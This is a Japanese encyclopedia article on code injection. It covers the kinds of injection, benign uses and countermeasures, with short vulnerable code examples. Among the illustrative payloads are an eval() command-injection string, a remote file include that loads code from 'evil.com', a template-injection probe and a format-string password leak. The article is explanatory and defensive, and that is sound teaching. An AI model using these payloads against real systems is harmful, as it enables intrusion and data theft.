コードインジェクション
出典: フリー百科事典『ウィキペディア(Wikipedia)』 (2025/07/28 09:21 UTC 版)
コードインジェクション(Code injection)とは、プログラムがユーザ入力などの外部データを正しく処理できず、そのデータを実行可能なコマンドとして解釈してしまうコンピュータセキュリティ上のエクスプロイトである。この手法を用いる攻撃者は、実行中のプログラムにコードを「注入(inject)」する。脆弱性を利用することで、情報漏洩、制限されたコンピュータシステムへの不正アクセス、マルウェアの拡散につながる可能性がある。
コードインジェクションは、アプリケーションが信頼できないデータをインタプリタに送信し、インタプリタが注入されたテキストをコードとして実行してしまうことで発生する。SQLデータベース、XMLパーサ、オペレーティングシステムのコマンド、SMTPヘッダや、その他のプログラム引数などを利用したサービスでよく見られる。コードインジェクションに対する脆弱性は、ソースコードの検査[1]、静的解析、あるいはファジングなどの動的テスト手法によって特定できる[2]。
コードインジェクションに対する脆弱性には数多くの種類があるが、そのほとんどは解釈のエラーであり、ユーザが入力した無害な情報をコードとして扱ったり、入力とシステムコマンドを区別できなかったりするものである。コードインジェクションは、以下のような多くの目的で悪意を持って使用される可能性がある。
- SQLインジェクションを介してデータベースの値を任意に変更する。この影響はウェブサイトの改ざんから機密情報の深刻な漏洩にまで及ぶ。詳細は任意コード実行を参照。
- サーバサイドのスクリプトコード(PHPなど)を注入することで、サーバにマルウェアをインストールしたり、悪意のあるコードを実行したりする。
- UNIX上のバイナリファイルにおけるシェルインジェクションの脆弱性を利用してスーパーユーザー権限に権限昇格する、あるいはMicrosoft Windows内のサービスを悪用してローカルシステム権限に昇格する。
- ハイパーテキストマークアップ言語(HTML)またはクロスサイトスクリプティング(XSS)インジェクションでウェブユーザを攻撃する。
IoTを標的としたコードインジェクションは、情報漏洩やサービス妨害といった深刻な結果につながる可能性もある[3]。
コードインジェクションは、インタプリタで実行されるあらゆる種類のプログラムで発生しうる。これを行うことは多くの者にとって些細なことであり、サーバソフトウェアがユーザから隔離されている主な理由の1つである。コードインジェクションを直接確認する例として、ブラウザの開発者ツールを使用する方法がある。
脆弱性情報データベース(NVD)には、CWE-94として記録されている。コードインジェクションは、2008年に記録された全脆弱性のうち5.66%を占めた[4]。
応用例
コードインジェクションは、攻撃目的以外で行われることもある。例えば、コードインジェクションによってプログラムやシステムの動作を変更・調整し、悪意なくシステムを特定の方法で動作させることがある[5][6]。コードインジェクションは、例えば次のようなことができる。
- 検索結果ページの元の設計にはなかった便利な新しい列を導入する。
- 元の設計のデフォルト機能では公開されていなかったフィールドを使用して、データをフィルタリング、並べ替え、またはグループ化する新しい方法を提供する。
- オフラインプログラムにオンラインリソースへの接続などの機能を追加する。
- 関数をオーバーライドし、呼び出しを別の実装にリダイレクトする。これはLinuxの動的リンカで実現できる[7]。
ユーザは、システムを最初に開発した人々が考慮していなかった入力をプログラムに提供したために、意図せずコードインジェクションを実行してしまうことがある。例えば、
- ユーザが有効な入力と見なすものに、開発者によって特別な意味を持つように予約されたトークン文字や文字列(アンパサンドや引用符など)が含まれている場合がある。
- ユーザが不正な形式のファイルを入力として送信し、それが一方のアプリケーションでは適切に処理されるが、受信側のシステムにとっては有害である場合がある。
また、弱性を見つけて修正するためのペネトレーションテストにもコードインジェクションが用いられる。
コードインジェクションへの対策
サーバサイドアプリケーションへのHTMLまたはスクリプトコードのウェブベースコードインジェクションの問題を防ぐために、次のような対策がある。
- 安全なアプリケーションプログラミングインタフェース(API)を使用する。パラメータ化クエリにより、ユーザデータを解釈される文字列から分離することができる。さらに、Criteria API[8]などのAPIは、文字列を使わずJavaオブジェクトを使ってクエリを組み立るため、有効である。
- 静的型システムを介して言語の分離を強制する[9]。
- 既知の良好な値をホワイトリスト登録するなど、入力を検証する。または入力された値をサニタイズする。これは、悪意のあるユーザによる改変を受けやすいクライアントサイド、またはより安全なサーバサイドで実行できる。
- 特殊文字をエスケープする。例えば、PHPでは、HTMLでテキストを安全に出力するために特殊文字をエスケープする `
htmlspecialchars()
` 関数や、SQLリクエストに含まれるデータを分離する `mysqli::real_escape_string()
` 関数を使用することで、SQLインジェクションから保護できる。 - ウェブサイト訪問者に対するXSS攻撃を防ぐために、出力をエンコードする。
- HTTP cookieに `
HttpOnly
` フラグを使用する。このフラグが設定されると、クライアントサイドのスクリプトとクッキーのやり取りが許可されなくなり、特定のXSS攻撃を防ぐことができる[10]。 - カーネルからのモジュラーシェルを分離する。
- SQLインジェクションに関しては、パラメータ化クエリ、ストアドプロシージャ、ホワイトリストによる入力検証などのアプローチを使用して、攻撃のリスクを軽減できる[11]。オブジェクト関係マッピングを使用すると、ユーザが直接SQLクエリを操作するのをさらに防ぐことができる。
ユーザのマシン内のユーザコードのインジェクションへの対策には、管理コードおよび非管理コードのインジェクションを検出・分離する必要がある。次のような対策がある。
- 実行時イメージのハッシュ検証を行う。メモリにロードされた実行可能ファイルのイメージのハッシュをキャプチャし、保存されているハッシュと比較する。
- NXビットを用いる。すべてのユーザデータは、実行不可としてマークされた特別なメモリセクションに保存される。プロセッサは、メモリのその部分にコードが存在しないことを認識し、そこで見つかったものの実行を拒否する。
- スタックにランダムに配置される値であるカナリアを使用する。実行時に、関数が戻るときにカナリアがチェックされる。カナリアが変更されている場合、プログラムは実行を停止して終了する。これにより、スタックバッファオーバーフロー攻撃を防ぐことができる。
- コードポインタマスキング(CPM)を行う。変更された可能性のあるコードポインタをレジスタにロードした後、ユーザはポインタにビットマスクを適用できる。これにより、ポインタが参照できるアドレスが効果的に制限される。これはC言語で使用される[12]。
事例
SQLインジェクション
クロスサイトスクリプティング
サーバサイドテンプレートインジェクション
テンプレートエンジンは、現代のウェブアプリケーションで動的データを表示するためによく使用される。しかし、検証されていないユーザデータを信頼すると、サーバサイドテンプレートインジェクションのような重大な脆弱性につながることが多い[13]。この脆弱性はクロスサイトスクリプティングに似ているが、テンプレートインジェクションは訪問者のブラウザではなくウェブサーバ上でコードを実行するために利用できる。これは、ウェブアプリケーションがユーザ入力とテンプレートを使用してウェブページをレンダリングするという一般的なワークフローを悪用する。以下の例は、その概念を示している。ここでは、テンプレート `{{visitor_name}}
` がレンダリングプロセス中にデータで置き換えられる。
こんにちは {{visitor_name}}
攻撃者はこのワークフローを使用して、悪意のある `visitor_name` を提供することでレンダリングパイプラインにコードを注入できる。ウェブアプリケーションの実装によっては、`{{7*'7'}}
` を注入することを選択でき、レンダラーはこれを `こんにちは 7777777` に解決する可能性がある。実際のウェブサーバが悪意のあるコードを評価したため、リモートコード実行に対して脆弱である可能性があることに注意されたい。
動的評価の脆弱性
eval()
インジェクションの脆弱性は、攻撃者がeval()
関数呼び出しに渡される入力文字列の全部または一部を制御できる場合に発生する[14]。
$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');
`eval
` の引数はPHPとして処理されるため、追加のコマンドを付加することができる。例えば、「arg」が「10; system('/bin/echo uh-oh')
」に設定されている場合、追加のコードが実行され、サーバ上でプログラム(この場合は「/bin/echo
」)が実行される。
オブジェクトインジェクション
PHPでは、オブジェクト全体をシリアライズおよびデシリアライズすることができる。信頼できない入力がデシリアライズ関数に許可されると、プログラム内の既存のクラスを上書きして悪意のある攻撃を実行することが可能になる[15]。Joomlaに対するこのような攻撃は2013年に発見された[16]。
リモートファイルインジェクション
このPHPプログラム(リクエストで指定されたファイルを含める)を考える。
<?php
$color = 'blue';
if (isset($_GET['color']))
$color = $_GET['color'];
require($color . '.php');
この例では色が提供されることを期待しているが、攻撃者は `COLOR=http://evil.com/exploit
` を提供する可能性があり、PHPがリモートファイルをロードする原因となる。
書式指定文字列インジェクション
書式文字列のバグは、プログラマがユーザ提供のデータを含む文字列を印字したい場合に最も一般的に現れる。プログラマは `printf("%s", buffer)` の代わりに誤って `printf(buffer)` と書いてしまうことがある。最初のバージョンは `buffer` を書式指定文字列として解釈し、そこに含まれる可能性のある書式指定命令を解析する。2番目のバージョンは、プログラマが意図したとおりに、単に文字列を画面に印字する。パスワードを保持するローカルのchar配列 `password` を持つ次の短いC言語プログラムを考える。このプログラムは、ユーザに整数と文字列を尋ね、その後、ユーザが提供した文字列をエコーバックする。
char user_input[100];
int int_in;
char password[10] = "Password1";
printf("Enter an integer\n");
scanf("%d", &int_in);
printf("Please enter a string\n");
fgets(user_input, sizeof(user_input), stdin);
printf(user_input); // 安全なバージョンは: printf("%s", user_input);
printf("\n");
return 0;
ユーザ入力が `%s%s%s%s%s%s%s%s
` のような書式指定子のリストで満たされている場合、`printf()` はスタックから読み取りを開始する。最終的に、`%s` 書式指定子の1つがスタック上にある `password` のアドレスにアクセスし、画面に `Password1` を印字する。
シェルインジェクション
シェルインジェクション(またはOSコマンドインジェクション[17])は、UNIXシェルにちなんで名付けられたが、ソフトウェアがプログラム的にコマンドラインを実行できるほとんどのシステムに適用される。以下は脆弱なtcshスクリプトの例である。
!/bin/tcsh
# argが1のいずれかに一致する場合、それを出力する
if ($1 == 1) echo it matches
上記が実行可能ファイル `./check` に保存されている場合、シェルコマンド `./check " 1 ) evil"` は、引数を定数1と比較する代わりに、注入されたシェルコマンド `evil` を実行しようとする。ここで、攻撃対象のコードはパラメータをチェックしようとしているコード、つまり攻撃から防御するためにパラメータを検証しようとしていたかもしれないまさにそのコードである[18]。シェルコマンドを構成して実行するために使用できる任意の関数は、シェルインジェクション攻撃を開始するための潜在的な媒体となる。これらの中には、system()
、StartProcess()
、およびSystem.Diagnostics.Process.Start()
がある。
クライアントサーバシステム、例えばウェブブラウザとウェブサーバとの相互作用は、シェルインジェクションに対して脆弱である可能性がある。ユーザが送信した単語を他の単語に置き換えるために外部プログラム `funnytext` を実行できる、ウェブサーバ上で実行される次の短いPHPプログラムを考える。
脚注
- ^ “Top 10 Web Application Security Vulnerabilities”. Penn Computing. University of Pennsylvania. 2018年2月24日時点のオリジナルよりアーカイブ。2025年7月16日閲覧。
- ^ “OWASP Top 10 2013 A1: Injection Flaws”. OWASP. 2016年1月28日時点のオリジナルよりアーカイブ。2025年7月16日閲覧。
- ^ Noman, Haitham Ameen; Abu-Sharkh, Osama M. F. (2023-01). “Code Injection Attacks in Wireless-Based Internet of Things (IoT): A Comprehensive Review and Practical Implementations” (英語). Sensors 23 (13): 6067. Bibcode: 2023Senso..23.6067N. doi:10.3390/s23136067. ISSN 1424-8220. PMC 10346793. PMID 37447915 2025年7月16日閲覧。.
- ^ “NVD - Statistics Search”. web.nvd.nist.gov. 2023年12月15日時点のオリジナルよりアーカイブ。2025年7月16日閲覧。
- ^ Srinivasan, Raghunathan. “Towards More Effective Virus Detectors”. Arizona State University. 2010年7月29日時点のオリジナルよりアーカイブ。2025年7月16日閲覧。 “Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.”
- ^ Morales, Jose Andre; Kartaltepe, Erhan; Xu, Shouhuai; Sandhu, Ravi (2010). “Symptoms-Based Detection of Bot Processes”. Computer Network Security. Lecture Notes in Computer Science. 6258. Berlin, Heidelberg: Springer. pp. 229–241. doi:10.1007/978-3-642-14706-7_18. ISBN 978-3-642-14705-0. ISSN 0302-9743
- ^ “Dynamic linker tricks: Using LD_PRELOAD to cheat, inject features and investigate programs”. Rafał Cieślak's blog (2013年4月2日). 2021年12月25日時点のオリジナルよりアーカイブ。2025年7月16日閲覧。
- ^ “The Java EE 6 Tutorial: Chapter 35 Using the Criteria API to Create Queries”. Oracle. 2013年11月11日時点のオリジナルよりアーカイブ。2025年7月16日閲覧。
- ^ Moertel, Tom (2006年10月18日). “A type-based solution to the "strings problem": a fitting end to XSS and SQL-injection holes?”. Tom Moertel's Blog. 2013年8月6日時点のオリジナルよりアーカイブ。2025年7月16日閲覧。
- ^ “HttpOnly”. OWASP (2014年11月12日). 2008年12月26日時点のオリジナルよりアーカイブ。2025年7月16日閲覧。
- ^ “SQL Injection Prevention Cheat Sheet”. OWASP. 2012年1月20日時点のオリジナルよりアーカイブ。2025年7月16日閲覧。
- ^ Philippaerts, Pieter et al. (2013-06-01). “CPM: Masking Code Pointers to Prevent Code Injection Attacks”. ACM Transactions on Information and System Security 16 (1): 1–27. doi:10.1145/2487222.2487223. ISSN 1094-9224. オリジナルの2021-02-24時点におけるアーカイブ。 2025年7月16日閲覧。.
- ^ “Server-Side Template Injection”. PortSwigger Research (2015年8月5日). 2022年5月22日時点のオリジナルよりアーカイブ。2025年7月16日閲覧。
- ^ Christey, Steven M. (3 May 2006). “Dynamic Evaluation Vulnerabilities in PHP applications”. Full Disclosure (Mailing list). 2009年11月13日時点のオリジナルよりアーカイブ. 2025年7月16日閲覧.
- ^ “Unserialize function warnings”. PHP.net. 2015年5月9日時点のオリジナルよりアーカイブ。2025年7月16日閲覧。
- ^ “Analysis of the Joomla PHP Object Injection Vulnerability”. 2013年3月2日時点のオリジナルよりアーカイブ。2025年7月16日閲覧。
- ^ “Command Injection”. 2013年12月20日時点のオリジナルよりアーカイブ。2025年7月16日閲覧。
- ^ Douglas W. Jones, CS:3620 Notes, Lecture 4—Shell Scripts. Archived 2024-09-24 at the Wayback Machine., Spring 2018.
関連項目
外部リンク
- IPA 安全なウェブサイトの作り方 - コードインジェクションの例が掲載されている
- コードインジェクションのページへのリンク